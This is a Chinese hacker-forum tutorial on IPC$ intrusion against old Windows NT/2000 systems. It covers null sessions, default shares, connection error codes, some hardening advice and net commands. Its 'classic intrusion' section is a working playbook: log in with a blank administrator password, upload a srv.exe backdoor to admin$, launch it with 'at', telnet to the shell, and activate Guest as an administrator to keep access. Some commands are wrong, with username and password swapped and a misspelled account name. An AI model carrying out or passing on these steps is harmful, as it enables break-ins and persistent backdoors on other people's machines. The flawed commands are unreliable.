IPC$入侵详细教程与步骤解析

一 唠叨一下：

网上关于ipc$入侵的文章，确实多如牛毛，其中也不乏精品。攻击步骤几乎成了经典模板，所以很少有人愿意再把这套定式翻出来细讲。但必须承认，这些文章讲解得并不详细——对第一次接触IPC$的菜鸟来说，光是罗列步骤，根本解不开他们心里那些弯弯绕绕（随便找个黑客论坛搜一下“ipc”，看看有多少悬而未决的问题就知道了）。

于是就有了这篇解惑教程。目标是理清那些容易混淆、容易让人迷路的地方，让大家别再原地打转。如果你看完还是不明白，直接回帖，咱们接着聊。

二 什么是ipc$

IPC$（Internet Process Connection）是共享“命名管道”的资源——这个定义大家应该都听过。它是为了让进程间通信而开放的命名管道，通过验证用户名和密码获得相应权限，常用于远程管理计算机和查看共享资源。

利用IPC$，连接者甚至可以在不提供用户名和密码的情况下，与目标主机建立空连接（当然，前提是对方必须开启了IPC$共享）。这个空连接还能用来获取目标主机上的用户列表——不过负责的管理员通常会禁止导出用户列表。

总有人把IPC$叫作“漏洞”，其实它并不是真正的漏洞。它是为了方便管理员远程管理而开放的远程网络登录功能，同时还打开了默认共享：所有逻辑盘（C$、D$、E$……）和系统目录（Winnt或Windows下的admin$）。初衷是好的，但结果不一定好。一些别有用心的人会利用IPC$访问共享资源、导出用户列表，再用字典工具暴力猜密码，企图获得更高权限，从而达到不可告人的目的。

解惑：

1）IPC连接是Windows NT及以上系统特有的远程网络登录功能，相当于Unix中的Telnet。由于它依赖NT中的很多DLL函数，所以Windows 9.x无法运行。也就是说，只有NT/2000/XP才能建立IPC$连接，98/ME不行（有朋友说98下也能建立空连接，不知真假，但都2003年了，建议98用户换个系统吧，98真心不爽）。

2）即便空连接，也不是100%能成功——如果对方关闭了IPC$共享，照样连不上。

3）建立IPC$连接≠能查看用户列表，管理员完全可以禁止导出用户列表。

三 建立ipc$连接在hack攻击中的作用

就像上面说的，即使只建立空连接，也能获得不少信息（这些信息往往是入侵中必不可少的），还能访问部分共享。如果你能以某个具有一定权限的用户身份登录，那就得到相应的权限。如果以管理员身份登录……嘿嘿，不用多说了，你想干什么就能干什么（基本上可以总结为：获取目标信息、管理目标进程和服务、上传木马并运行；如果是2000 Server，还可以考虑开启终端服务方便控制）。

不过别高兴太早——管理员的密码没那么容易搞到。虽然确实有一些傻乎乎的管理员用空口令或弱智密码，但毕竟是少数。而且现在不比从前，安全意识提高了，管理员也越来越小心，搞到管理员密码会越来越难。所以，你最大的可能还是以极低权限甚至无权限连接。慢慢地你会明白，IPC$连接并不是万能的，如果主机压根不开启IPC$共享，你根本连不上。

所以，别把IPC$入侵当成终极武器，别以为它战无不胜。它就像足球场上射门前的传球——很少能直接致命，但却是不可或缺的一环。这才是IPC$连接在黑客入侵中的真正意义。

四 ipc$与空连接，139、445端口，默认共享的关系

这四者的关系可能是菜鸟最困惑的部分，但大部分文章都没说清楚。其实我理解得也不透彻，都是在和大家交流中不断总结出来的（有良好讨论氛围的BBS，真是菜鸟的天堂）。

1）ipc$与空连接

不需要用户名和密码的IPC$连接就是空连接。一旦你以某个用户或管理员的身份登录（即用特定用户名和密码建立IPC$连接），自然就不能叫空连接了。很多人会问：既然能空连接，为什么还要费劲扫描弱口令？原因前面提过：空连接登录时你没有任何权限（很郁闷吧），而以用户或管理员身份登录时，你会有相应权限。有权限谁不想要？所以还是老老实实扫吧，别偷懒。

2）ipc$与139、445端口

IPC$连接可以实现远程登录及对默认共享的访问；而139端口的开启表示NetBIOS协议的应用，通过139、445（Win2000）端口可以访问共享文件/打印机。所以一般来说，IPC$连接需要139或445端口支持。

3）ipc$与默认共享

默认共享是为了方便管理员远程管理而默认开启的共享（当然可以关闭），包括所有逻辑盘（C$、D$、E$……）和系统目录（Winnt或Windows下的admin$）。通过IPC$连接，可以实现对这些默认共享的访问——前提是对方没有关闭它们。

五 ipc$连接失败的原因

以下5个原因比较常见：

1）你的系统不是NT或以上操作系统；
2）对方没有打开IPC$默认共享；
3）对方未开启139或445端口（或被防火墙屏蔽）；
4）你的命令输入有误（比如缺少空格等）；
5）用户名或密码错误（空连接当然无所谓）。

另外，可以根据返回的错误号分析原因：

错误号5，拒绝访问：很可能你使用的用户不是管理员权限，先提升权限；
错误号51，Windows无法找到网络路径：网络有问题；
错误号53，找不到网络路径：IP地址错误；目标未开机；目标LanmanServer服务未启动；目标有防火墙（端口过滤）；
错误号67，找不到网络名：你的LanmanWorkstation服务未启动；目标删除了IPC$；
错误号1219，提供的凭据与已存在的凭据集冲突：你已经和对方建立了一个IPC$，请删除再连；
错误号1326，未知的用户名或错误密码：原因很明显；
错误号1792，试图登录，但是网络登录服务没有启动：目标NetLogon服务未启动（连接域控会出现此情况）；
错误号2242，此用户的密码已经过期：目标有账户策略，强制定期要求更改密码。

关于IPC$连不上的问题比较复杂，除了以上原因，还有其他不确定因素。这里无法详细说明，只能靠大家自己体会和试验了。

六 如何打开目标的IPC$

首先，你需要获得一个不依赖IPC$的Shell，比如SQL的cmd扩展、Telnet、木马。当然，这个Shell必须有admin权限。然后，用Shell执行命令 net share ipc$ 来开放目标的IPC$。从上面可以知道，IPC$能否使用还有很多条件。请确认相关服务都已运行，没有就启动它（不知道怎么做的请看net命令用法）。还是不行的话（比如有防火墙、杀不了），建议放弃。

七 如何防范ipc$入侵

1）禁止空连接进行枚举（此操作并不能阻止空连接的建立，引自《解剖Win2000下的空会话》）。运行regedit，找到 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]，把RestrictAnonymous的DWORD键值改为00000001（如果设置为2，会有一些问题，比如某些Win服务出问题）。

2）禁止默认共享：
① 查看本地共享资源：运行-cmd-输入net share
② 删除共享（每次输入一个）：net share ipc$ /delete，net share admin$ /delete，net share c$ /delete，net share d$ /delete（如果有e、f……继续删除）
③ 停止server服务：net stop server /y（重启后server服务会重新开启）
④ 修改注册表：运行-regedit，Server版找到 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]，把AutoShareServer（DWORD）键值改为00000000；Pro版找到 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]，把AutoShareWks（DWORD）键值改为00000000。如果主键不存在，就新建（右击-新建-双字节值）再改键值。

3）永久关闭ipc$和默认共享依赖的服务：lanmanserver即server服务。控制面板-管理工具-服务-找到server服务（右击）-属性-常规-启动类型-已禁用。

4）安装防火墙（选中相关设置），或者端口过滤（滤掉139、445等），或者用新版本的优化大师。

5）设置复杂密码，防止通过ipc$穷举密码。

八 相关命令

1）建立空连接：net use \\IP\ipc$ "" /user:""（注意：这一行命令中包含了3个空格）

2）建立非空连接：net use \\IP\ipc$ "用户名" /user:"密码"（同样有3个空格）

3）映射默认共享：net use z: \\IP\c$ "密码" /user:"用户名"（即可将对方的C盘映射为自己的Z盘，其他盘类推）。如果已经和目标建立了IPC$，则可以直接用IP\盘符$访问，具体命令 net use z: \\IP\c$

4）删除一个ipc$连接：net use \\IP\ipc$ /del

5）删除共享映射：net use c: /del 删除映射的C盘，其他盘类推；net use * /del 删除全部，会有提示要求按Y确认。

九 经典入侵模式

这个入侵模式太经典了，大部分IPC教程都有介绍，我也拿来引用，感谢原创作者（不知道是哪位前辈）。

1. C:\>net use \\127.0.0.1\IPC$ "" /user:"admintitrators"
这是用《流光》扫到的用户名是administrators，密码为空的IP地址（空口令？运气好到家了）。用这个命令与127.0.0.1建立连接，密码为空，所以第一个引号处不用输入，后面双引号里是用户名，输入administrators，命令即可成功完成。

2. C:\>copy srv.exe \\127.0.0.1\admin$
先复制srv.exe上去，在《流光》的Tools目录下就有（这里的$是指admin用户的c:\winnt\system32\，还可以使用c$、d$，看你要复制到什么地方）。

3. C:\>net time \\127.0.0.1
查查时间，发现127.0.0.1的当前时间是2002/3/19 上午11:00。

4. C:\>at \\127.0.0.1 11:05 srv.exe
用at命令启动srv.exe（设置的时间要比主机时间快，不然怎么启动）。

5. C:\>net time \\127.0.0.1
再查查时间到了没有？如果当前时间是11:05，准备开始下面的命令。

6. C:\>telnet 127.0.0.1 99
这里用Telnet命令，注意端口是99。Telnet默认是23端口，但我们用SRV在对方计算机中建立了一个99端口的Shell。

虽然能Telnet上去，但SRV是一次性的，下次登录还要再激活。所以我们打算建立一个Telnet服务，这就要用到ntlm了。

7. C:\>copy ntlm.exe \\127.0.0.1\admin$
用Copy命令把ntlm.exe上传到主机上（ntlm.exe也在《流光》的Tools目录中）。

8. C:\WINNT\system32>ntlm
输入ntlm启动（这里的C:\WINNT\system32>指的是对方计算机，运行ntlm是让这个程序在对方计算机上运行）。当出现"DONE"时，说明启动正常。然后使用"net start telnet"开启Telnet服务。

9. Telnet 127.0.0.1，接着输入用户名和密码就进入对方了，操作就像在DOS上一样简单（然后你想做什么就做什么吧）。

为了以防万一，再把guest激活并加到管理组：

10. C:\>net user guest /active:yes
将对方的Guest用户激活。

11. C:\>net user guest 1234
将Guest的密码改为1234（或你想要的密码）。

12. C:\>net localgroup administrators guest /add
将Guest变为Administrator（如果管理员密码改了，guest账号没变，下次还能用guest再次访问这台计算机）。

十 总结

关于IPC$入侵就说这么多了，已经够详细了。如果有不准确的地方，希望能和大家讨论。

最后，希望大家不要随意入侵。写这篇文章的目的是解答疑惑，不是鼓励大家随便入侵。